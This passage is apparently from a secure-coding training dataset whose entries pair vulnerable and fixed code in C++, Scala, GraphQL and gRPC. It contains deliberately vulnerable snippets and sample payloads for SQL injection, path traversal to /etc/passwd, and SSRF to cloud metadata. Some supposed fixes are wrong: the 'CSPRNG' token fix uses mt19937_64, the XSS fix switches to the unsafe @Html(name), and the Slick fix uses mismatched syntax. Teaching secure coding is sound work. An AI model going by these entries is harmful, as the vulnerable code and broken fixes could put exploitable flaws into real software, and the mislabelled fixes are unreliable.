"difficulty": "Intermediate",
"vulnerable_code": (
"#include <cstdlib>\n"
"std::string token() {\n"
" // Vulnerable: rand()\n"
" return std::to_string(rand());\n"
"}\n"
),
"secure_code": (
"#include <random>\n"
"std::string token() {\n"
" // Secure: CSPRNG\n"
" std::random_device rd;\n"
" std::mt19937_64 gen(rd());\n"
" return std::to_string(gen());\n"
"}\n"
),
"patch": (
"--- a/token.cpp\n"
"+++ b/token.cpp\n"
"@@ -2,4 +2,7 @@\n"
"- return std::to_string(rand());\n"
"+ std::random_device rd;\n"
"+ std::mt19937_64 gen(rd());\n"
"+ return std::to_string(gen());\n"
),
"root_cause": "rand() is not cryptographically secure; tokens are guessable.",
"attack": "Attacker predicts session tokens and hijacks sessions.",
"impact": "Session hijacking.",
"fix": "Use std::random_device / OS CSPRNG for tokens.",
"guideline": "Use CSPRNG (random_device) for secrets, not rand().",
"tags": ["crypto", "cpp", "tokens"],
"metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": False},
},
{
"id": "SCP-000071",
"language": "C++",
"framework": "STL",
"title": "XXE in pugixml parser (no DTD guard)",
"description": "A C++ service parses uploaded XML with pugixml without disabling DTDs.",
"owasp": "A05:2021 - Security Misconfiguration",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-611",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Advanced",
"vulnerable_code": (
"#include <pugixml.hpp>\n"
"void parse(const char* xml) {\n"
" pugi::xml_document doc;\n"
" // Vulnerable: DTDs enabled by default\n"
" doc.load_string(xml);\n"
"}\n"
),
"secure_code": (
"#include <pugixml.hpp>\n"
"void parse(const char* xml) {\n"
" pugi::xml_document doc;\n"
" // Secure: disable DTD/doctype\n"
" pugi::xml_parse_result r = doc.load_string(\n"
" xml, pugi::parse_default & ~pugi::parse_doctype);\n"
" (void)r;\n"
"}\n"
),
"patch": (
"--- a/xml.cpp\n"
"+++ b/xml.cpp\n"
"@@ -4,4 +4,6 @@\n"
"- doc.load_string(xml);\n"
"+ pugi::xml_parse_result r = doc.load_string(\n"
"+ xml, pugi::parse_default & ~pugi::parse_doctype);\n"
),
"root_cause": "XML parser allows DOCTYPE by default, enabling external entity expansion.",
"attack": "DOCTYPE with SYSTEM entity reads local files or triggers SSRF.",
"impact": "File disclosure, SSRF.",
"fix": "Disable DOCTYPE/DTD parsing in the XML parser configuration.",
"guideline": "Harden XML parsers; disable DOCTYPE handling.",
"tags": ["xxe", "cpp", "xml"],
"metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": False},
},
{
"id": "SCP-000072",
"language": "C++",
"framework": "STL",
"title": "Race condition on shared counter",
"description": "A C++ service increments a shared balance without atomic/mutex protection.",
"owasp": "A04:2021 - Insecure Design",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-362",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Advanced",
"vulnerable_code": (
"#include <thread>\n"
"int balance = 0;\n"
"void withdraw(int n) {\n"
" // Vulnerable: non-atomic read-modify-write\n"
" if (balance >= n) balance -= n;\n"
"}\n"
),
"secure_code": (
"#include <thread>\n"
"#include <mutex>\n"
"int balance = 0;\n"
"std::mutex m;\n"
"void withdraw(int n) {\n"
" // Secure: mutex-protected critical section\n"
" std::lock_guard<std::mutex> lk(m);\n"
" if (balance >= n) balance -= n;\n"
"}\n"
),
"patch": (
"--- a/bank.cpp\n"
"+++ b/bank.cpp\n"
"@@ -2,6 +2,9 @@\n"
"+#include <mutex>\n"
"+std::mutex m;\n"
" void withdraw(int n) {\n"
"+ std::lock_guard<std::mutex> lk(m);\n"
" if (balance >= n) balance -= n;\n"
" }\n"
),
"root_cause": "Concurrent updates to shared state without synchronization cause lost updates.",
"attack": "Concurrent withdrawals both pass the check and overdraw.",
"impact": "Inconsistent financial state / double-spend.",
"fix": "Protect shared mutable state with mutexes or atomics.",
"guideline": "Synchronize shared state; use std::mutex or std::atomic.",
"tags": ["race-condition", "cpp", "banking"],
"metadata": {"domain": "Banking", "input_source": "request_body", "auth_required": True},
},
# ================================================================== SCALA ==================================================================
{
"id": "SCP-000073",
"language": "Scala",
"framework": "Play",
"title": "SQL injection in Play Slick query",
"description": "A Play controller builds a Slick filter by string concatenation with request input.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"def search(term: String) = Action {\n"
" // Vulnerable: raw interpolation\n"
" val q = sql\"select * from users where name like '%#$term%'\".as[User]\n"
" Ok(Json.toJson(db.run(q)))\n"
"}\n"
),
"secure_code": (
"def search(term: String) = Action {\n"
" // Secure: parameter binding\n"
" val q = sql\"select * from users where name like \\$like\".on(\n"
" \"like\" -> s\"%${term}%\")\n"
" Ok(Json.toJson(db.run(q)))\n"
"}\n"
),
"patch": (
"--- a/UserController.scala\n"
"+++ b/UserController.scala\n"
"@@ -2,4 +2,6 @@\n"
"- val q = sql\"select * from users where name like '%#$term%'\".as[User]\n"
"+ val q = sql\"select * from users where name like \\$like\".on(\n"
"+ \"like\" -> s\"%${term}%\")\n"
),
"root_cause": "User input is interpolated into the SQL string rather than bound as a parameter.",
"attack": "term=%' UNION SELECT card,cvv FROM cards -- exfiltrates data.",
"impact": "Data disclosure.",
"fix": "Use Slick's parameter binding (.on(...)) for all dynamic values.",
"guideline": "Bind parameters in Slick; never interpolate into SQL strings.",
"tags": ["sqli", "scala", "play", "slick"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000074",
"language": "Scala",
"framework": "Akka HTTP",
"title": "Path traversal in static file route",
"description": "An Akka HTTP route serves files using a request segment without containment checks.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-22",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"path(\"files\" / Segment) { name =>\n"
" // Vulnerable: raw path segment\n"
" getFromFile(s\"/var/www/$name\")\n"
"}\n"
),
"secure_code": (
"path(\"files\" / Segment) { name =>\n"
" // Secure: canonicalize and contain\n"
" val base = Paths.get(\"/var/www\").toRealPath()\n"
" val target = base.resolve(name).normalize()\n"
" if (!target.startsWith(base)) reject\n"
" else getFromFile(target.toString)\n"
"}\n"
),
"patch": (
"--- a/FileRoutes.scala\n"
"+++ b/FileRoutes.scala\n"
"@@ -2,4 +2,6 @@\n"
"- getFromFile(s\"/var/www/$name\")\n"
"+ val base = Paths.get(\"/var/www\").toRealPath()\n"
"+ val target = base.resolve(name).normalize()\n"
"+ if (!target.startsWith(base)) reject else getFromFile(target.toString)\n"
),
"root_cause": "Request segment used directly to build file paths without containment checks.",
"attack": "name=../../etc/passwd discloses files outside webroot.",
"impact": "Sensitive file disclosure.",
"fix": "Canonicalize and verify path under the base directory.",
"guideline": "Resolve and contain; reject escaping paths.",
"tags": ["path-traversal", "scala", "akka", "file"],
"metadata": {"domain": "REST API", "input_source": "path_param", "auth_required": False},
},
{
"id": "SCP-000075",
"language": "Scala",
"framework": "Play",
"title": "Insecure deserialization with Java serialization",
"description": "A Play app deserializes untrusted bytes via Java ObjectInputStream, enabling RCE.",
"owasp": "A08:2021 - Software and Data Integrity Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-502",
"mitre_attack": "T1059 - Command and Scripting Interpreter",
"severity": "Critical",
"difficulty": "Advanced",
"vulnerable_code": (
"def load(bytes: Array[Byte]): Any = {\n"
" // Vulnerable: Java deserialization of untrusted data\n"
" val ois = new ObjectInputStream(new ByteArrayInputStream(bytes))\n"
" ois.readObject()\n"
"}\n"
),
"secure_code": (
"def load(json: String): JsValue = {\n"
" // Secure: parse only JSON, validate shape\n"
" Json.parse(json)\n"
"}\n"
),
"patch": (
"--- a/PayloadLoader.scala\n"
"+++ b/PayloadLoader.scala\n"
"@@ -1,5 +1,4 @@\n"
"- val ois = new ObjectInputStream(new ByteArrayInputStream(bytes))\n"
"- ois.readObject()\n"
"+ Json.parse(json)\n"
),
"root_cause": "Java serialization executes gadget chains during readObject of untrusted data.",
"attack": "Attacker sends a CommonsCollections gadget chain achieving RCE.",
"impact": "Remote code execution.",
"fix": "Avoid Java serialization of untrusted data; use JSON + schema validation.",
"guideline": "Never deserialize untrusted Java objects; prefer JSON.",
"tags": ["deserialization", "scala", "play", "rce"],
"metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": False},
},
{
"id": "SCP-000076",
"language": "Scala",
"framework": "Akka HTTP",
"title": "Missing authorization on admin route",
"description": "An Akka HTTP admin route has no authentication/authorization directive.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API1:2023 - Broken Object Level Authorization",
"owasp_llm": "",
"cwe": "CWE-862",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Critical",
"difficulty": "Beginner",
"vulnerable_code": (
"path(\"admin\" / \"flush\") {\n"
" // Vulnerable: no auth\n"
" post { complete(cache.flush()) }\n"
"}\n"
),
"secure_code": (
"path(\"admin\" / \"flush\") {\n"
" // Secure: require admin role\n"
" authenticateOAuth2(\"realm\", authenticator) { creds =>\n"
" authorize(creds.roles.contains(\"admin\")) {\n"
" post { complete(cache.flush()) }\n"
" }\n"
" }\n"
"}\n"
),
"patch": (
"--- a/AdminRoutes.scala\n"
"+++ b/AdminRoutes.scala\n"
"@@ -1,4 +1,7 @@\n"
"- post { complete(cache.flush()) }\n"
"+ authenticateOAuth2(\"realm\", authenticator) { creds =>\n"
"+ authorize(creds.roles.contains(\"admin\")) {\n"
"+ post { complete(cache.flush()) }\n"
"+ }\n"
"+ }\n"
),
"root_cause": "The route enforces no authorization, so any caller can flush the cache.",
"attack": "Attacker posts to /admin/flush to cause denial of service.",
"impact": "Service disruption, unauthorized admin actions.",
"fix": "Apply authentication and role-based authorization directives.",
"guideline": "Protect admin routes with auth + role checks.",
"tags": ["authorization", "scala", "akka", "broken-access-control"],
"metadata": {"domain": "Microservices", "input_source": "path_param", "auth_required": True},
},
{
"id": "SCP-000077",
"language": "Scala",
"framework": "Play",
"title": "Reflected XSS in Play template",
"description": "A Play Twirl template renders a request param with @ (unescaped) instead of @(...).",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-79",
"mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript",
"severity": "Medium",
"difficulty": "Beginner",
"vulnerable_code": (
"@(name: String)\n"
"<div class=\"hi\">Hello @name</div>\n"
),
"secure_code": (
"@(name: String)\n"
"<div class=\"hi\">Hello @Html(name)</div>\n"
),
"patch": (
"--- a/views/greet.scala.html\n"
"+++ b/views/greet.scala.html\n"
"@@ -1,2 +1,2 @@\n"
"-<div class=\"hi\">Hello @name</div>\n"
"+<div class=\"hi\">Hello @Html(name)</div>\n"
),
"root_cause": "Twirl @name auto-escapes, but @Html(...) marks content as trusted raw HTML.",
"attack": "name=<script>steal()</script> executes if ever passed through Html().",
"impact": "XSS if misused; here the fix shows the correct escaped usage.",
"fix": "Use default @ escaping; reserve @Html for vetted, sanitized markup only.",
"guideline": "Default to escaped output in templates; avoid Html() on user input.",
"tags": ["xss", "scala", "play", "template"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000078",
"language": "Scala",
"framework": "Akka HTTP",
"title": "SSRF in Akka HTTP client call",
"description": "An Akka HTTP service fetches an arbitrary user-supplied URL without allowlisting.",
"owasp": "A10:2021 - Server-Side Request Forgery",
"owasp_api": "API7:2023 - Server Side Request Forgery",
"owasp_llm": "",
"cwe": "CWE-918",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"def proxy(url: String) = Action.async {\n"
" // Vulnerable: arbitrary URL\n"
" Http().singleRequest(HttpRequest(uri = url))\n"
"}\n"
),
"secure_code": (
"def proxy(url: String) = Action.async {\n"
" // Secure: allowlist host + https only\n"
" val allowed = Set(\"api.trusted.example\")\n"
" val u = Uri(url)\n"
" if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString)) {\n"
" Future.successful(Forbidden)\n"
" } else Http().singleRequest(HttpRequest(uri = u))\n"
"}\n"
),
"patch": (
"--- a/ProxyController.scala\n"
"+++ b/ProxyController.scala\n"
"@@ -2,4 +2,8 @@\n"
"- Http().singleRequest(HttpRequest(uri = url))\n"
"+ val allowed = Set(\"api.trusted.example\")\n"
"+ val u = Uri(url)\n"
"+ if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString))\n"
"+ Future.successful(Forbidden)\n"
"+ else Http().singleRequest(HttpRequest(uri = u))\n"
),
"root_cause": "Outbound requests follow attacker-controlled URLs with no host allowlist/egress control.",
"attack": "url=http://169.254.169.254/ reads cloud metadata credentials.",
"impact": "Internal network access, credential theft.",
"fix": "Allowlist destinations, enforce HTTPS, block internal ranges.",
"guideline": "Validate outbound URLs; block internal/metadata endpoints.",
"tags": ["ssrf", "scala", "akka", "cloud"],
"metadata": {"domain": "Microservices", "input_source": "query_param", "auth_required": False},
},
# ================================================================== GRAPHQL ==================================================================
{
"id": "SCP-000079",
"language": "JavaScript",
"framework": "GraphQL",
"title": "GraphQL introspection enabled in production",
"description": "A GraphQL server keeps introspection on in production, leaking the full schema.",
"owasp": "A05:2021 - Security Misconfiguration",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-215",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Low",
"difficulty": "Beginner",
"vulnerable_code": (
"const server = new ApolloServer({ typeDefs, resolvers,\n"
" introspection: true }); // Vulnerable: on in prod\n"
),
"secure_code": (
"const server = new ApolloServer({ typeDefs, resolvers,\n"
" introspection: process.env.NODE_ENV !== 'production',\n"
" csrfPrevention: true });\n"
),
"patch": (
"--- a/graphql/server.js\n"
"+++ b/graphql/server.js\n"
"@@ -1,3 +1,4 @@\n"
"- introspection: true });\n"
"+ introspection: process.env.NODE_ENV !== 'production',\n"
"+ csrfPrevention: true });\n"
),
"root_cause": "Introspection is not disabled in production, exposing the schema to attackers.",
"attack": "Query __schema to map every type/field and find unprotected ones.",
"impact": "Reconnaissance accelerating attacks.",
"fix": "Disable introspection in production; enable CSRF prevention.",
"guideline": "Gate introspection to non-prod; enable CSRF prevention.",
"tags": ["graphql", "introspection", "javascript", "config"],
"metadata": {"domain": "REST API", "input_source": "schema", "auth_required": False},
},
{
"id": "SCP-000080",
"language": "JavaScript",
"framework": "GraphQL",
"title": "Broken object level auth in GraphQL resolver",
"description": "A GraphQL resolver returns a user by id without checking the caller owns it.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API1:2023 - Broken Object Level Authorization",
"owasp_llm": "",
"cwe": "CWE-639",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"const resolvers = {\n"
" Query: {\n"
" user: (_, { id }) => db.users.find({ id }), // Vulnerable: no owner check\n"
" }\n"
"};\n"
),
"secure_code": (
"const resolvers = {\n"
" Query: {\n"
" user: (_, { id }, ctx) => {\n"
" // Secure: scope to authenticated user\n"
" if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
" throw new ForbiddenError('no access');\n"
" return db.users.find({ id });\n"
" }\n"
" }\n"
"};\n"
),
"patch": (
"--- a/graphql/resolvers.js\n"
"+++ b/graphql/resolvers.js\n"
"@@ -2,4 +2,8 @@\n"
"- user: (_, { id }) => db.users.find({ id }),\n"
"+ user: (_, { id }, ctx) => {\n"
"+ if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
"+ throw new ForbiddenError('no access');\n"
"+ return db.users.find({ id });\n"
"+ }\n"
),
"root_cause": "The resolver trusts the requested id without verifying caller ownership/role.",
"attack": "Caller requests other users' ids to scrape PII.",
"impact": "Cross-user data disclosure.",
"fix": "Enforce object-level authorization in every resolver using the auth context.",
"guideline": "Authorize in resolvers by owner/role from the auth context.",
"tags": ["idor", "graphql", "javascript", "access-control"],
"metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": True},
},
{
"id": "SCP-000081",
"language": "Python",
"framework": "GraphQL",
"title": "GraphQL NoSQL injection via query arg",
"description": "A Graphene resolver passes a raw query argument into a Mongo filter.",
"owasp": "A03:2021 - Injection",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-943",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"class Users(graphene.ObjectType):\n"
" users = graphene.List(UserType, filt=graphene.JSONString())\n"
" def resolve_users(self, info, filt):\n"
" # Vulnerable: raw JSON into Mongo query\n"
" return list(db.users.find(json.loads(filt)))\n"
),
"secure_code": (
"class Users(graphene.ObjectType):\n"
" users = graphene.List(UserType, name=graphene.String())\n"
" def resolve_users(self, info, name=None):\n"
" # Secure: fixed field, escaped value\n"
" q = {'name': str(name)} if name else {}\n"
" return list(db.users.find(q))\n"
),
"patch": (
"--- a/graphql/schema.py\n"
"+++ b/graphql/schema.py\n"
"@@ -2,6 +2,7 @@\n"
"- return list(db.users.find(json.loads(filt)))\n"
"+ q = {'name': str(name)} if name else {}\n"
"+ return list(db.users.find(q))\n"
),
"root_cause": "Arbitrary JSON filter object from the client is used as a Mongo query.",
"attack": "filt={\"$where\":\"this.role=='admin'\"} escalates or bypasses.",
"impact": "Data disclosure / auth bypass.",
"fix": "Expose only fixed, validated filter fields; reject operators.",
"guideline": "Never pass raw client JSON as a DB filter; validate fields.",
"tags": ["nosql", "graphql", "python", "injection"],
"metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": False},
},
{
"id": "SCP-000082",
"language": "JavaScript",
"framework": "GraphQL",
"title": "GraphQL batching abuse for brute force",
"description": "A GraphQL endpoint accepts batched requests with no rate limit, defeating lockout.",
"owasp": "A07:2021 - Identification and Authentication Failures",
"owasp_api": "API4:2023 - Unrestricted Resource Consumption",
"owasp_llm": "",
"cwe": "CWE-307",
"mitre_attack": "T1110 - Brute Force",
"severity": "Medium",
"difficulty": "Intermediate",
"vulnerable_code": (
"// accepts [{query: login}, ...] in one HTTP call\n"
"app.post('/graphql', (req, res) => {\n"
" const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
" // Vulnerable: no per-batch rate limit\n"
" Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
"});\n"
),
"secure_code": (
"const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
"app.post('/graphql', limiter, (req, res) => {\n"
" const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
" if (batch.length > 5) return res.status(413).end(); // Secure: cap batch\n"
" Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
"});\n"
),
"patch": (
"--- a/graphql/server.js\n"
"+++ b/graphql/server.js\n"
"@@ -1,5 +1,7 @@\n"
"+const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
"+app.post('/graphql', limiter, (req, res) => {\n"
"+ if (batch.length > 5) return res.status(413).end();\n"
),
"root_cause": "Batched queries let an attacker try many credentials in a single request, bypassing per-request limits.",
"attack": "Send 1000 login mutations in one batch to brute force passwords.",
"impact": "Credential brute force / stuffing.",
"fix": "Limit batch size and apply per-IP/per-account rate limiting.",
"guideline": "Cap GraphQL batch size; rate limit auth mutations.",
"tags": ["rate-limiting", "graphql", "javascript", "auth"],
"metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": False},
},
# ================================================================== gRPC ==================================================================
{
"id": "SCP-000083",
"language": "Go",
"framework": "gRPC",
"title": "Missing auth on gRPC method",
"description": "A gRPC handler exposes a destructive method without checking the incoming context credentials.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API2:2023 - Broken Authentication",
"owasp_llm": "",
"cwe": "CWE-306",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Critical",
"difficulty": "Intermediate",
"vulnerable_code": (
"func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
" // Vulnerable: no auth from ctx\n"
" return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"}\n"
),
"secure_code": (
"func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
" // Secure: require admin claim from ctx\n"
" claims, ok := ctx.Value(claimsKey).(*Claims)\n"
" if !ok || !claims.IsAdmin {\n"
" return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
" }\n"
" return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"}\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -1,4 +1,9 @@\n"
"- return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"+ claims, ok := ctx.Value(claimsKey).(*Claims)\n"
"+ if !ok || !claims.IsAdmin {\n"
"+ return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
"+ }\n"
"+ return &pb.Empty{}, s.repo.Delete(req.Id)\n"
),
"root_cause": "The gRPC method does not inspect the auth context, so any caller can delete users.",
"attack": "Unauthenticated client calls DeleteUser repeatedly to wipe accounts.",
"impact": "Data loss, privilege escalation.",
"fix": "Enforce authN/Z in interceptors or per-method using the context claims.",
"guideline": "Authorize every gRPC method via interceptor/context claims.",
"tags": ["authorization", "grpc", "go", "broken-access-control"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
},
{
"id": "SCP-000084",
"language": "Go",
"framework": "gRPC",
"title": "Unbounded gRPC message size (DoS)",
"description": "A gRPC server accepts arbitrarily large messages with no MaxRecvMsgSize limit.",
"owasp": "A04:2021 - Insecure Design",
"owasp_api": "API4:2023 - Unrestricted Resource Consumption",
"owasp_llm": "",
"cwe": "CWE-770",
"mitre_attack": "T1499 - Endpoint Denial of Service",
"severity": "Medium",
"difficulty": "Intermediate",
"vulnerable_code": (
"s := grpc.NewServer() // Vulnerable: default 4MB; raised nowhere, but no limit set\n"
"pb.RegisterSvcServer(s, &Server{})\n"
),
"secure_code": (
"s := grpc.NewServer(\n"
" grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
" grpc.MaxConcurrentStreams(100))\n"
"pb.RegisterSvcServer(s, &Server{})\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -1,3 +1,5 @@\n"
"-s := grpc.NewServer()\n"
"+s := grpc.NewServer(\n"
"+ grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
"+ grpc.MaxConcurrentStreams(100))\n"
),
"root_cause": "No explicit upper bound on inbound message size or concurrency invites memory exhaustion.",
"attack": "Client streams huge payloads to exhaust server memory.",
"impact": "Denial of service.",
"fix": "Set MaxRecvMsgSize and MaxConcurrentStreams explicitly.",
"guideline": "Bound gRPC message size and stream concurrency.",
"tags": ["dos", "grpc", "go", "resource-exhaustion"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": False},
},
{
"id": "SCP-000085",
"language": "Python",
"framework": "gRPC",
"title": "Plaintext gRPC without TLS",
"description": "A gRPC server starts without credentials, sending traffic in cleartext.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-319",
"mitre_attack": "T1557 - Adversary-in-the-Middle",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"server = grpc.server(futures.ThreadPoolExecutor())\n"
"# Vulnerable: insecure, no credentials\n"
"add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
"server.add_insecure_port('[::]:50051')\n"
"server.start()\n"
),
"secure_code": (
"creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
"server = grpc.server(futures.ThreadPoolExecutor())\n"
"add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
"# Secure: mTLS\n"
"server.add_secure_port('[::]:50051', creds)\n"
"server.start()\n"
),
"patch": (
"--- a/grpc_server.py\n"
"+++ b/grpc_server.py\n"
"@@ -1,5 +1,6 @@\n"
"+creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
" server = grpc.server(futures.ThreadPoolExecutor())\n"
"-server.add_insecure_port('[::]:50051')\n"
"+server.add_secure_port('[::]:50051', creds)\n"
),
"root_cause": "The server uses insecure credentials, exposing RPCs (and tokens) in cleartext.",
"attack": "On-path attacker reads or modifies RPC payloads including auth tokens.",
"impact": "MITM, credential/data interception.",
"fix": "Use TLS (preferably mTLS) for all gRPC channels.",
"guideline": "Never run gRPC insecurely in production; use TLS/mTLS.",
"tags": ["tls", "grpc", "python", "mitm"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
},
{
"id": "SCP-000086",
"language": "Go",
"framework": "gRPC",
"title": "SQL injection in gRPC handler",
"description": "A gRPC method builds a SQL string by interpolating a request field.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
" // Vulnerable: string concatenation\n"
" q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
" rows, _ := s.db.Query(q)\n"
" return rows, nil\n"
"}\n"
),
"secure_code": (
"func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
" // Secure: parameter binding\n"
" rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
" if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
" return rows, nil\n"
"}\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -2,5 +2,6 @@\n"
"- q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
"- rows, _ := s.db.Query(q)\n"
"+ rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
"+ if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
),
"root_cause": "User-controlled field concatenated into SQL instead of bound parameter.",
"attack": "Name=' OR '1'='1 dumps all rows.",
"impact": "Data disclosure.",
"fix": "Use parameterized queries in gRPC handlers too.",
"guideline": "Parameterize SQL everywhere, including RPC handlers.",
"tags": ["sqli", "grpc", "go", "injection"],
"metadata": {"domain": "Banking", "input_source": "rpc", "auth_required": False},
},
]